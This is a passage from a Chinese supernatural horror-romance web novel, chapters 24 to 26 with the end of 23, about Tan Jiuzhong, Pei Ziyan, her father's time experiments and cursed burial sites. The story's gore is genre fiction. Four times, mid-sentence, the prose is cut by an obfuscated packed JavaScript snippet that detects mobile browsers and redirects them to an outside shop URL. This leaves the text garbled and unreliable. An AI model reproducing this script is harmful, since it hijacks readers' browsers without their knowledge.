裴子晏的笑声在雨声中显得格外破碎:“逃?”他拉开衣领,露出锁骨下方的铜钱,“学姐知道这是什么吗?‘镇魂钱’...杜十娘的手笔。没有它们,我会立刻被时空乱流撕碎。”他的指尖轻叩铜钱,发出空洞的回响,“檀教授把我做成了‘活锚’,固定在多个时间节点上...” 檀九重突然出手,桃木剑抵住他的咽喉:“那就结束它。”她的手很稳,“告诉我怎么解除‘双子咒’。” 裴子晏不躲不闪,甚至向前一步让剑尖刺入皮肤。黑血顺着剑身流下,滴在地上竟冒出丝丝白烟。 “简单啊...”他笑得像个恶作剧得逞的孩子,“杀了我,或者...”灰白的眼珠转向她左手腕的伤口,“让我喝你的血...完成最后的‘绑定’。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16479426|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 檀九重这才注意到,自己腕间的绷带不知何时渗出了血,而裴子晏的瞳孔正随着血气的扩散而收缩——那是捕食者的反应。 “你...” “开玩笑的。”裴子晏突然退后,表情恢复成那种熟悉的惫懒,“学姐的血现在带着尸毒,喝了会闹肚子的。” 一道前所未有的闪电劈落,照亮整个庙堂。在这刺目的白光中,檀九重清晰地看到——裴子晏眼角滑下一行血泪。 鬼使神差地,她伸手接住那滴泪。液体在她掌心滚动,竟不散开,而是保持完美的水滴状,表面泛着诡异的七彩光晕。更奇怪的是,它散发着一种熟悉的药香... “父亲的长生药...”檀九重喃喃道,突然将沾血泪的手指含入口中。 味道在舌尖炸开——苦涩、腥甜,最后回甘,与儿时偷尝过的父亲‘秘药’一模一样。但更深层的某种成分让她的舌根发麻,眼前闪过无数碎片般的画面: 穿中山装的父亲在民国时期的实验室记录数据...七个培养舱排列成环...某个雨夜,父亲将一管荧光液体注入婴儿的脊椎... “学姐?!”裴子晏的惊呼将她拉回现实。檀九重这才发现自己的鼻腔涌出热血,而裴子晏正用那种混合着惊恐和心疼的表情看着她。 “你疯了?!那血泪里有时间毒素!” 檀九重却笑了,笑得眼眶发酸:“所以这就是父亲的长生秘密?”她指着裴子晏的心口,“把活人做成跨越时间的‘锚点’,不断抽取他们的生命来延续自己的...” 裴子晏的表情凝固了。片刻沉默后,他轻声道:“学姐比我想象的聪明。”他指向山神像后的陶罐,“那些失败品...都是被抽干‘时间’的残骸。” 雨声中夹杂着新的声响——像是无数人在泥泞中行走的动静。檀九重警觉地看向门外,只见远处的山路上浮现出密密麻麻的人影,他们走路的姿势怪异,像是提线木偶。 “债童子召来的‘时间债主’...”裴子晏迅速用朱砂在门上画了道符,“我们得走了。” “去哪?” “找阿青。龙婆的日记里应该有线索...”裴子晏突然咳嗽起来,吐出一团黑色丝线,“关于如何彻底解除‘双子咒’...” 檀九重扶住他摇摇欲坠的身体,触手的温度一会儿滚烫一会儿冰冷。她突然意识到,这个总是嬉皮笑脸的青年,或许从未真正拥有过属于自己的生命——从被制成实验体那一刻起,他的存在就是为了替她承担伤害。 “裴子晏...”她声音沙哑,“如果解除咒术...你会怎样?” 青年愣了一下,随即露出那种没心没肺的笑容:“谁知道呢?”他轻轻推开她,走向庙堂另一侧的窗户,“也许灰飞烟灭,也许...”灰白的眼珠在黑暗中泛着微光,“终于能做个普通人?” 窗外的脚步声越来越近。檀九重最后看了一眼山神像后的陶罐,突然注意到最里面那个罐子上贴着一张泛黄的纸条,上面是她父亲的笔迹: “第七批实验体,存活率0.7%。唯一成功案例展示出与九重完美契合,拟命名为‘子晏’,取自‘何以解忧,唯有杜康’...” 落款日期是1993年7月7日——她的生日。 裴子晏已经翻出窗外,伸手拉她:“学姐,发什么呆?” 檀九重收回视线,握住那只伤痕累累的手。在跃入雨夜的瞬间,她突然明白了一件事——无论裴子晏是人是鬼是怪物,他都已经成为她生命中无法割舍的一部分。 就像那枚缝进心脏的铜钱,早已血肉相连。 24. 局中局 暴雨持续了三天。 栖梧阁的地下室里,檀九重将傀儡师遗留的虫胶唱片放在老式留声机上。这是她和裴子晏从山神庙逃回后,在整理遗物时发现的——藏在青铜簋的暗格中,表面刻着‘檀明远’三个小字。 唱针落下,先是一阵沙沙的杂音,随后传出父亲熟悉的声音: “九重,如果你听到这段录音,说明‘双子咒’已经运行到最终阶段...” 檀九重的手指猛地攥紧。父亲的声音比她记忆中的更加苍老,带着某种诡异的回音,像是从很远的地方传来。 “首先,我要告诉你关于裴子晏的真相...” 唱片突然卡顿,跳过了几秒。当声音再次响起时,父亲的话已经进行到一半: “...真正的裴子晏在你出生那年就...” 后半句被刺耳的杂音淹没。檀九重反复调整唱针,却只能捕捉到几个零散的词:“时空闭环”、“锚点”、“第七夜”。 最后是一段清晰的留言:“去找杜十娘藏在祠堂的镜子,那里有你需要的答案。记住,不要相信任何人的眼泪——包括我的。” 唱片在一声长叹后结束。檀九重呆坐在工作台前,脑海中回荡着那句未完成的话——“真正的裴子晏在你出生那年就...”就什么?死了?消失了?还是... 楼梯传来脚步声。阿青抱着一本厚重的相册走进来,眼圈通红——龙婆下葬后,她一直沉浸在悲痛中。 “檀姐,我找到了这个。”她翻开相册最后一页,“爷爷的私人相册里夹着的...我想你应该看看。” 那是一张修复完整的泛黄照片,背景是民国时期的学堂,一群穿学生服的年轻人站在台阶上。檀九重第一眼就认出了父亲——年轻的‘檀明远’站在最左侧,穿着立领中山装,手里拿着个罗盘。 但真正让她血液凝固的是照片中央的女生——齐耳短发,杏眼薄唇,左眼角有一颗泪痣。那张脸与她一模一样! “这是...” “1937年闽南师范的毕业照。”阿青指着照片边缘的小字,“这个女生叫沈胭脂,是爷爷的...初恋。” 檀九重的手指无意识抚过照片中女子的脸。沈胭脂...这不正是父亲录音中提到过的名字?在阿青爷爷的笔记里,沈胭脂与杜十娘、檀明远同为民俗考察组成员。 “还有更奇怪的...”阿青翻到相册封底夹层,取出一张剪报,“龙婆留下的。” 剪报已经泛黄,是1993年7月的一份地方小报,刊登着豆腐块大小的讣告:“裴氏子晏,年五岁,于七月初七病逝...” 日期正是檀九重的生日。 “这不可能...”檀九重的声音发紧。如果裴子晏五岁就死了,那这些年跟在她身边的‘人’是谁? 阿青欲言又止,最终只是轻轻按住她的手:“檀姐,有些事...或许不知道比较好。” 窗外雨势渐小,暮色四合。檀九重送走阿青后,在地下室来回踱步。父亲录音中的只言片语、民国时期与自己长相相同的沈胭脂、五岁夭折的裴子晏...这些碎片拼凑出一个荒诞却令人毛骨悚然的可能: 她认识的‘裴子晏’,或许根本不是人类。 楼梯再次响起脚步声,这次是裴子晏。他看起来比山神庙时更加憔悴,左眼完全变成了灰白色,右脸爬满蛛网般的青筋。最触目惊心的是他的右手——皮肤已经彻底干枯,像风干的树皮包裹着骨头。 “学姐还没休息?”他的声音依然带着那种令人牙痒的轻快,仿佛身体的异变只是场无关紧要的小感冒。 檀九重直接亮出那张剪报:“解释一下。” 裴子晏的笑容僵了一瞬,随即恢复如常:“哦?学姐查到这个了?”他随意地靠在工作台边,枯手拿起剪报看了看,“写得挺简略的...实际过程要痛苦得多。” “什么过程?” “死亡过程啊。”裴子晏歪头,这个曾经阳光的少年动作已经变得机械,“白血病,骨髓移植失败,非常...漫长的痛苦。” 檀九重的心脏像被无形的手攥紧:“所以你是...借尸还魂?” 裴子晏突然大笑,笑声在空旷的地下室回荡:“学姐的想象力真丰富。”他止住笑,灰白眼珠直视她,“更准确地说,我是‘执念具象化’——檀教授用那个孩子的记忆和残骸,加上时空重叠点的能量,创造出的‘活傀儡’。” 他解开衣领,露出心口那道狰狞的缝合线:“还记得这里面是什么吗?”不等回答,他自顾自地继续,“除了你给的铜钱,还有那个孩子的一块腕骨...真正的裴子晏留下的唯一完整的部分。” 檀九重想起唱片中父亲那句未完成的话——“真正的裴子晏在你出生那年就...”所以是死了?而眼前这个‘裴子晏’,是父亲用死者的遗骨和记忆制造的替代品? “为什么?”她听见自己问。 裴子晏的指尖轻抚相册中沈胭脂的脸:“学姐觉得这是巧合吗?”他指向照片日期,“1937年...到今年正好...” “八十四年。”檀九重突然明白过来,“一个甲子的轮回...” “聪明。”裴子晏的左眼闪过一丝红光,“檀教授发现时空重叠有周期性,每八十四年会出现‘薄弱点’。而沈胭脂...就是你上个轮回的化身。” 这个信息太过震撼,檀九重一时难以消化。她盯着照片中与自己一模一样的女子,突然注意到一个细节——沈胭脂的右手腕上戴着一串铜钱,其中一枚正是‘乾隆通宝’。 “这枚铜钱...” “是你给我的。”裴子晏轻声说,“或者说,是‘她’给‘他’的。”他指向照片角落——一个穿藏青长衫的年轻人站在阴影处,面容模糊,但右腕上的月牙胎记清晰可见。 檀九重如坠冰窟。如果按照这个逻辑,她和裴子晏的关系不是偶然,而是某种轮回中的必然? “学姐别这副表情。”裴子晏突然凑近,冰凉的手指抚平她紧皱的眉头,“至少这个轮回里,我们相遇的方式有趣多了,不是吗?” 他的气息带着腐朽和药香,灰白眼珠在昏暗灯光下像两轮小小的月亮。檀九重本该推开他,却鬼使神差地问:“上个轮回...我们是什么关系?” 裴子晏的笑容僵在脸上。片刻沉默后,他后退一步:“学姐还是不知道比较好。”转身走向楼梯,“我去检查下外围的符咒,最近那些‘东西’越来越活跃了。” 檀九重没有挽留。她需要时间整理这些信息——父亲的实验、轮回的宿命、真正的裴子晏之死...以及眼前这个‘裴子晏’究竟算是什么存在? 工作台上放着裴子晏落下的布包。檀九重犹豫片刻,还是打开了——里面是个精致的骨雕,看形状像是人的肋骨片段,表面刻满密密麻麻的符文。骨雕中央有个小凹槽,边缘残留着干涸的血迹。 她突然想起什么,从抽屉里取出父亲的老照片。在那些民国时期的合影中,‘檀明远’胸前别着个奇怪的饰物——正是这个骨雕的形状! 窗外雨声渐歇,月光透过玻璃在地板上投下蛛网般的影子。檀九重将骨雕放在灯下仔细观察,发现那些符文并非随意雕刻,而是组成了一幅微缩地图。凹槽的位置恰好对应栖梧阁的坐标。 一个大胆的念头浮现。她咬破手指,将血滴入凹槽。 血液接触骨雕的瞬间,符文亮起红光,在空中投射出一幅三维立体的地形图——是闽南山区的微缩景观,其中七个点特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16482543|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别标注,连起来形成北斗七星的形状。而在‘天枢’位置,闪烁着一个小小的镜面符号。 “杜十娘的镜子...”檀九重想起父亲录音中的提示。这或许就是下一个目的地。 她正要仔细研究,突然听到地下室窗户传来轻叩声。抬头看去,一只乌鸦站在窗台,脚上绑着个小竹筒。这不是普通的乌鸦——它的眼睛是血红色的,喙部泛着金属光泽。 檀九重谨慎地开窗取下竹筒。里面是一张字条,笔迹娟秀中带着刚劲: “九重吾女:勿信镜中言,勿饮井中水。七尸非终点,双子非起源。母字。” 她浑身冰凉。母亲在她三岁时就失踪了,这字条从何而来?更诡异的是,字条背面印着个胭脂唇印,与照片中沈胭脂的唇形一模一样。 楼梯传来急促的脚步声。檀九重迅速藏起字条,转身看到阿青气喘吁吁地冲进来: “檀姐!裴哥他...他不见了!只在门口留下这个...” 那是一件沾满血迹的卫衣——正是裴子晏常穿的那件。口袋里露出半截白色物体,檀九重抽出来一看,是根新鲜的骨头,表面还带着血肉。骨头一端刻着小小的字: “去找镜子。第七夜前。” 骨头的断口参差不齐,像是被生生扯断的。檀九重想起裴子晏日渐干枯的右手...这根骨头很可能来自他自己。 阿青递过一张符纸:“压在衣服下面的。” 符纸上用血画着复杂的图案,檀九重认出这是‘替身符’——施术者将自己的部分肢体作为媒介,制造一个短期替身。看血迹的干涸程度,裴子晏应该是在两小时前离开的。 “他去了哪里?”阿青担忧地问。 檀九重摇头,目光落回骨雕投影的地图上。七个光点中,有一个特别明亮——位于深山中的某个祠堂,正是地图标注的‘天枢’位。 “准备行李。”她收起骨雕,“我们明天一早就出发。” 阿青离开后,檀九重独自在地下室整理装备。父亲的笔记、裴子晏留下的骨雕、傀儡师的唱片...这些碎片拼凑出的真相令人不寒而栗。如果她和裴子晏真是某种轮回中的重复角色,那么这场‘游戏’已经进行了多少轮?父亲在其中又扮演什么角色? 最让她不安的是裴子晏的突然离开。以他现在的状态,独自行动无异于自杀...除非,他发现了什么必须独自面对的危机。 工作台抽屉里放着一个小木盒,里面是裴子晏平时用来雕刻傀儡的工具。檀九重无意中发现盒底有暗格,打开后里面是一缕用红线缠着的头发——她的头发,还系着个小纸条: “如果这轮回必须终结,我宁愿是你亲手结束它。——子晏” 字迹已经褪色,显然写了很久。檀九重想起裴子晏常说的一句话:“学姐,要和我‘生死与共’哦...”原来从那时起,他就已经做好了赴死的准备。 夜深了。檀九重回到卧室,却毫无睡意。窗外月光惨白,照在床头那卷傀儡线上——裴子晏曾开玩笑说这是他们的‘红线’。 鬼使神差地,她将线头缠在自己手腕上,打了个死结。如果...如果真有什么看不见的联系,或许这样能感知到他的存在? 疲惫终于战胜了焦虑。檀九重沉沉睡去,梦里全是破碎的画面——民国学堂、穿长衫的青年、病床上奄奄一息的男孩、还有父亲实验室里那些闪着冷光的培养舱... 清晨,她被阳光惊醒。有什么东西压在被子上——是阿青养的猫,正玩着一枚铜钱。檀九重困倦地伸手去拿,突然僵住。 那枚‘乾隆通宝’上沾着新鲜的血迹,而系着它的...正是昨晚缠在自己手腕上的傀儡线。 线另一端延伸向窗外,消失在晨雾中。 25. 千棺灯 内蒙古的夜风带着砂砾的粗糙感。 檀九重站在阴山北麓的断崖边,手中骨雕投影出的地图与眼前景象逐渐重合——山谷两侧的崖壁上,密密麻麻悬挂着数百口棺木,每具棺木下方都吊着一盏血红色的灯笼。夜风吹过,灯笼轻轻摇晃,投下流动的血色光影,整座山谷如同浸泡在血海中。 “千棺葬...”阿青裹紧冲锋衣,声音发颤,“辽代贵族墓葬形式,但这里的排列...太奇怪了。” 确实奇怪。普通千棺葬是按家族辈分排列,而眼前这些棺木却呈北斗七星状分布,七组主棺周围环绕着数十具小棺,像行星围绕恒星。最中央的‘天枢’位是一具比其他大出三倍的黑棺,下方悬挂的灯笼也比寻常的大,灯笼纸上隐约可见金色符文。 檀九重掏出裴子晏留下的铜钱——那枚系着傀儡线的"乾隆通宝"。铜钱刚暴露在空气中就突然发烫,线头无风自动,指向黑棺方向。 “走。”她简短地说,率先向谷底走去。 阿青犹豫了一下:“不等天亮吗?这种葬制...很可能有诈。” 檀九重没回答,只是举起手中的铜钱。在月光下,铜钱表面浮现出细小的裂纹,缝隙中渗出暗红色液体,像是凝固的血。自从进入阴山地界,这枚铜钱就开始发生异变,仿佛在呼应着什么。 谷底比想象中干燥,沙土中散落着碎骨和陶片。随着她们深入,那些悬挂的灯笼开始无风自动,发出轻微的“咯吱”声,像是有人在里面抓挠。最诡异的是,灯笼光照到的地方,她们的影子出现了残缺——心脏部位完全空白。 “檀姐...”阿青抓紧她的手臂,“这些灯笼...是用人皮做的。” 檀九重蹲下身,捡起一块灯笼碎片。阿青说得没错,这确实是人皮——经过特殊鞣制,薄如蝉翼却坚韧异常。碎片内侧还粘着干涸的组织液,在月光下泛着诡异的珍珠光泽。 正当她准备进一步检查时,铜钱突然剧烈震动起来。檀九重还没反应过来,铜钱就“啪”地一声裂成两半,掉在地上迅速氧化成灰烬。而更令人毛骨悚然的是,灰烬竟自行排列成两个汉字: ‘丙寅’ 1986年,农历丙寅年。檀九重瞳孔收缩——那是父亲最后一次带队考古的时间,也是他性格大变的转折点。回来后,父亲开始痴迷于‘长生术’和‘时空重叠’研究... “什么人?!” 一声暴喝打断她的思绪。三束强光从侧面射来,晃得人睁不开眼。檀九重本能地侧身,将阿青护在身后。 “哟,还是个娘们。”为首的是个满脸横肉的中年男人,穿着脏兮兮的工装服,手里提着把洛阳铲,“这年头盗墓的都这么水灵了?” 他身后跟着两个年轻人,看起来像是工地民工,手里拿着钢筋和绳索。三人身上都带着浓重的土腥味和...尸臭。 檀九重眯起眼睛:“我们是民俗研究所的。” “唬谁呢?”男人啐了一口,“这鸟不拉屎的地方,除了挖宝的谁来?”他晃了晃洛阳铲,“识相的赶紧滚,这山头我包老三包了!” 阿青小声解释:“应该是盗墓团伙雇的当地包工头...” 檀九重冷笑一声,突然出手如电,一把抓住包老三挥来的洛阳铲。男人还没反应过来,就听“咔嚓”一声——精钢打造的铲头被她徒手折断! “你...!”包老三脸色大变。 檀九重没理会他的震惊,而是仔细检查断口。铲头沾着新鲜的泥土和...一小块皮肤组织。她小心地取下那块组织,在月光下观察——组织已经半腐烂,但依稀可见上面的缝合痕迹和符文刺青。这种特殊的缝合方式她只在一个‘人’身上见过... 裴子晏。 “最近有没有一个年轻男人来过?”她一把揪住包老三的衣领,“右腕有月牙胎记,左眼灰白。” 包老三的脸色瞬间惨白:“你...你认识那个怪物?!”他颤抖着指向黑棺方向,“三天前...他一个人走进主墓室...再没出来...” 檀九重松开他,径直走向黑棺。包老三在身后大喊:“别去!那里面有吃人的东西!我五个兄弟进去都没——” 声音戛然而止。檀九重回头,只见包老三惊恐地瞪大眼睛,指着她脚下。低头一看,自己的影子在灯笼照射下...正在自行移动!更恐怖的是,影子的双手掐住了‘自己’的脖子,做出绞杀动作! “檀姐!别看影子!”阿青大喊,“这是‘魇影术’,看久了会真的窒息!” 檀九重猛地抬头,强迫自己忽略脚下的异象。就在这时,主棺区域突然传来“咚”的一声闷响,像是有人在里面敲击棺木。 包老三和两个民工吓得转身就跑。阿青也想拉檀九重离开,却发现她纹丝不动,眼睛死死盯着黑棺下方的大灯笼——灯笼纸上,不知何时出现了一个人影! “裴子晏...”檀九重喃喃道。 人影做了个‘止步’的手势,然后指向山谷东侧。檀九重顺着方向看去,那里有七具比其他更陈旧的小棺,排列方式与骨雕地图上的七个光点完全一致。 “阿青,你回营地等我。”檀九重取出朱砂笔,在阿青手心画了道护身符,“如果天亮我还没回来...” “我懂。”阿青咬唇点头,“我会联系湘西那边的人。” 檀九重独自向东侧棺群走去。越靠近,空气中的尸臭味越浓,还混合着某种草药的苦涩气息。七具小棺比想象中精致,棺身上雕刻着繁复的星图,每具棺盖正中都有个凹槽,形状与她手中的骨雕完全吻合。 最奇怪的是,这些小棺下方没有灯笼,而是各挂着一面铜镜。檀九重想起父亲录音中的话:“去找杜十娘藏在祠堂的镜子...” 她谨慎地靠近第一具棺木,用桃木剑轻触棺盖。剑尖刚碰到木头,棺内就传出指甲抓挠的声音,吓得她后退半步。就在这时,身后传来枯叶被踩碎的轻响。 “学姐还是这么急性子。” 檀九重猛地转身。裴子晏靠在一棵枯树上,脸色比上次分别时更加苍白,右臂已经完全干枯,皮肤紧贴着骨头,像是风干的木乃伊。唯一没变的是那双眼睛——右眼依然带着笑意,左眼灰白如旧。 “解释。”檀九重亮出那块从洛阳铲上取下的皮肤组织,“你早就来过这里。” 裴子晏没有否认:“三年前。”他指了指最边上那具小棺,“当时为了取那个。” 檀九重这才注意到,那具棺木的凹槽处有明显撬痕,棺盖微微错位,像是被人打开过。 “里面是什么?” “学姐不妨自己看。”裴子晏的笑容带着几分疲惫,“不过友情提示...别靠太近。” 檀九重用桃木剑撬开棺盖。棺内没有尸体,只有一盏熄灭的灯笼和一堆灰烬。灰烬中露出半截没烧完的东西——是张老照片的一角,上面是年轻的父亲站在某个实验室里,手里抱着个婴儿。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16505168|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 照片背面写着:“1986.7.7九重周岁子晏初成” “丙寅年...”檀九重想起铜钱灰烬显示的字样,“这是我父亲开始实验的时间?” 裴子晏没有直接回答,而是走向第二具棺木:“学姐知道这些灯笼为什么是红色的吗?”他轻抚棺身上的星图,“因为需要人血供养...特别是至亲之血。” 檀九重突然明白了什么:“这些棺木里装的...是实验体?” “聪明。”裴子晏的左眼在月光下泛着冷光,“七批实验,每批七个孩子。用他们的血点燃灯笼,就能在特定时间打开‘门’...”他顿了顿,“檀教授称之为‘时空薄弱点’。” “那你呢?”檀九重直视他的眼睛,“你是第几批?” 裴子晏的笑容僵了一瞬:“学姐猜猜看?”他忽然咳嗽起来,吐出一团黑色丝线,“提示...我是唯一活下来的那个。” 夜风突然变大,山谷中的灯笼剧烈摇晃,投下的红光如血浪翻涌。檀九重发现裴子晏的影子也在灯笼照射下缺失了心脏部位,和她的一模一样。 “双子咒...”她喃喃道。 裴子晏突然站直身体:“有人来了。”他迅速退到阴影处,“记住,别相信镜中的任何话,别喝这里的水...”话音未落,他的身影已经消失在黑暗中。 几乎同时,包老三带着十几个民工从谷口冲进来,手里拿着各种工具和武器。 “就是她!”包老三指着檀九重,“跟那个怪物是一伙的!” 檀九重冷笑一声,桃木剑横在胸前:“不想死就滚。” 包老三却狞笑起来:“小娘们还挺横。”他一挥手,“抓住她!正好缺个活祭品!” 民工们一拥而上。檀九重刚要反击,突然听到一声清脆的碎裂声——七具小棺下方的铜镜同时裂开,镜中伸出无数苍白的手,抓住最近的民工就往里拖! 惨叫声响彻山谷。包老三吓得瘫坐在地,眼睁睁看着自己的同伴被活生生拖进镜中,只留下几滩血迹和撕碎的衣物。 “救...救命...”他爬向檀九重,“那些镜子...吃人..” 檀九重冷眼旁观:“活祭品?” 包老三疯狂点头:“黑棺里的东西...每到月圆就要活人血...我们...我们也是被逼的...” 檀九重还想追问,山谷中央突然传来震耳欲聋的撞击声——黑棺的棺盖被从内部顶开了一条缝!与此同时,悬挂在棺下的那盏大灯笼自行亮起,散发出比血还红的光。 更诡异的是,山谷中其他灯笼一个接一个熄灭,只有七盏小灯笼保持明亮,并且开始自行移动,在空中排列成北斗七星形状。而它们的光束聚焦处,正是檀九重站立的位置! “学姐小心!” 裴子晏的声音从远处传来,但已经晚了。七道光束汇聚成一道,将檀九重完全笼罩。在刺目的红光中,她看到自己的皮肤开始透明化,骨骼和血管清晰可见。而最骇人的是,她心脏位置浮现出一个铜钱形状的虚影——正是裴子晏缝在胸口的那枚! “子晏...当为九重死...”一个沙哑的声音从黑棺中传出,“九重...当为子晏生...” 红光突然增强到无法忍受的程度。檀九重最后的意识,是裴子晏冲过来抱住她的身影,和他那句带着颤抖的: “这次...换我来找你...” 然后世界陷入一片血红。 26. 活人桩 刺目的红光消散后,檀九重发现自己站在一个建筑工地上。 夕阳西下,塔吊的影子斜斜插在未完工的混凝土框架上,像一具被钉死的巨人。四周堆放着钢筋和水泥板,远处工棚亮着惨白的灯光。这不是阴山墓葬群,而是...某个城市的开发区? “醒了?” 熟悉的声音从身后传来。檀九重猛地转身,看到裴子晏靠在一堆砂石旁,右臂的干枯状态比昏迷前更严重了,已经蔓延到肩膀。他的左眼在暮色中泛着诡异的灰光,瞳孔不再是圆形,而是像猫科动物般的竖瞳。 “这是哪里?”檀九重警惕地环顾四周,“我们怎么离开千棺葬的?” 裴子晏笑了笑,酒窝在苍白的脸上显得格外深:“还在阴山,只是时间...稍微错位了。”他指向工地中央的大坑,“看那里。” 深坑周围摆着七盏血灯笼,与千棺葬中的一模一样。坑底隐约可见某种金属器物反射着夕阳的余晖——是个倒扣的青铜簋,样式与栖梧阁地下室的完全一致,只是体积更大。 “活人桩。”裴子晏的声音轻得像叹息,“现代改良版。” 檀九重瞬间明白了那些灯笼的作用。活人桩是古代建筑祭祀中最残忍的一种——将活人埋在地基中,祈求工程稳固。而眼前这个‘改良版’,用灯笼代替了活祭品,但效果同样邪恶。 “1986年,”裴子晏继续道,“你父亲带队来阴山考古,发现了千棺葬的秘密。回去后,他在七个城市的地下工程中埋下这种‘改良活人桩’...”他指了指青铜簋,“里面装着从千棺葬带走的‘东西’。” 檀九重想起包老三提到的‘吃人黑棺’。难道父亲把棺中的存在分成了七份,分别封印在这些青铜簋中? “学姐小心!” 裴子晏突然扑过来。檀九重还没反应过来,就感到脚下一空——她站的位置突然塌陷,整个人向坑中坠去!裴子晏抓住她的手腕,却被一起带了下去。 两人重重摔在坑底。檀九重的膝盖磕在青铜簋上,顿时血流如注。更糟的是,塌陷的土方开始如潮水般涌下,转眼就埋到了腰部。 “爬上去!”裴子晏推着她往坑壁移动,自己却被一块落石砸中后背,直接扑倒在青铜簋上。簋身被他撞得翻转过来,露出内壁——密密麻麻刻满了名字,全是‘檀九重’与‘裴子晏’的组合,最早的一组日期竟然是1943年! “这是...” 檀九重的话被倾泻而下的土石淹没。最后一刻,她看到裴子晏对她做了个口型:“活下去”,然后就被完全掩埋。 “裴子晏!” 檀九重疯了似的刨土,指甲崩裂也浑然不觉。鲜血渗入泥土,竟让土层微微发亮,浮现出蛛网般的红色纹路——是朱砂!有人事先在土中混入了大量朱砂! 这个发现让她更加疯狂。朱砂镇邪,埋在朱砂土中的活物会魂飞魄散...裴子晏虽然不是常人,但也绝对承受不住! “坚持住...混蛋...你不是说要和我‘生死与共’吗...” 手指已经血肉模糊,但她不敢停。终于,在挖到约两米深时,触到了裴子晏的衣角。檀九重拼尽最后力气将他拖出来,青年的脸色已经青紫,胸口没有起伏,瞳孔完全扩散。 “醒醒...醒醒!”她拍打他的脸,做心肺复苏,甚至咬破手腕将血滴入他口中——父亲笔记中提到过,她的血有特殊功效。 没有反应。 檀九重不知自己坚持了多久。夜幕完全降临,七盏灯笼自动亮起,投下血色的光。在红光中,她抱着裴子晏逐渐冰冷的身体,第一次感到彻骨的绝望。 “骗子...”她将额头抵在他心口缝合线上,“你说过...这次换你来找我的...” 月光被乌云遮蔽。就在檀九重准备放弃时,裴子晏的心跳突然恢复了一下,接着是第二下、第三下...缓慢但有力。更诡异的是,他的皮肤下开始浮现出细小的符文,与青铜簋上的纹路一模一样! “咳...” 裴子晏突然睁开眼睛——原本灰白的左眼此刻完全变成了血红色,右眼则是野兽般的竖瞳。他剧烈咳嗽着,吐出的不是血,而是一团团黑色丝线,丝线落地后迅速钻入土中。 “学...姐...”他的声音嘶哑得不似人类,“离...开...” 檀九重却抱得更紧:“闭嘴,省点力气。” 裴子晏的身体开始发生更可怕的变化——指甲变长变尖,牙齿也变得锋利,皮肤下有什么东西在蠕动,像是要破体而出。但最令人毛骨悚然的是,他的伤口在自行愈合,新生的组织呈现不健康的青灰色。 “灯笼...”他艰难地指向坑边的七盏灯,“毁掉...” 檀九重将他轻轻放下,抄起坑底的青铜簋碎片冲向最近的灯笼。碎片刺入灯笼的瞬间,一声凄厉的婴儿啼哭响彻工地,灯笼剧烈燃烧起来,火中浮现出一张扭曲的人脸。 “檀...九...重...”人脸发出沙哑的声音,“你...逃不掉...” 檀九重充耳不闻,继续破坏其他灯笼。每毁掉一盏,就有一声惨叫,同时裴子晏的状态似乎好转一分。当最后一盏灯笼熄灭时,工地突然陷入死寂,连虫鸣都消失了。 “裴子晏?” 坑底空无一人。檀九重的心沉到谷底,直到听见头顶传来轻笑声: “学姐是在找我吗?” 裴子晏不知何时已经站在坑边,虽然依旧苍白,但那些非人的特征已经消退。他伸出手拉她上来,掌心温度低得不似活人,但确确实实有了脉搏。 “解释。”檀九重甩开他的手,“你到底是什么东西?” 裴子晏的笑容僵了一瞬:“学姐不是猜到了吗?”他指了指坑底的青铜簋,“那些名字...最早的比我出生早了四十多年。” “所以你是...” “一个不断重复使用的‘容器’。”裴子晏的左眼恢复成灰白色,“每次轮回,檀教授都会用那个孩子的残骸和记忆,加上时空能量,重塑一个‘裴子晏’。”他苦笑,“就像修补一个破布娃娃...” 檀九重想起铜钱灰烬显示的‘丙寅’——1986年,父亲从阴山回来后,就开始痴迷于长生研究。难道他真正痴迷的不是自己长生,而是...创造某种永恒的存在? “那坑里的青铜簋...” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16531783|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是记录仪。”裴子晏打断她,“每次轮回,我们的名字都会被刻上去。”他顿了顿,“学姐注意到没有,1943年那组名字...顺序是反的。” 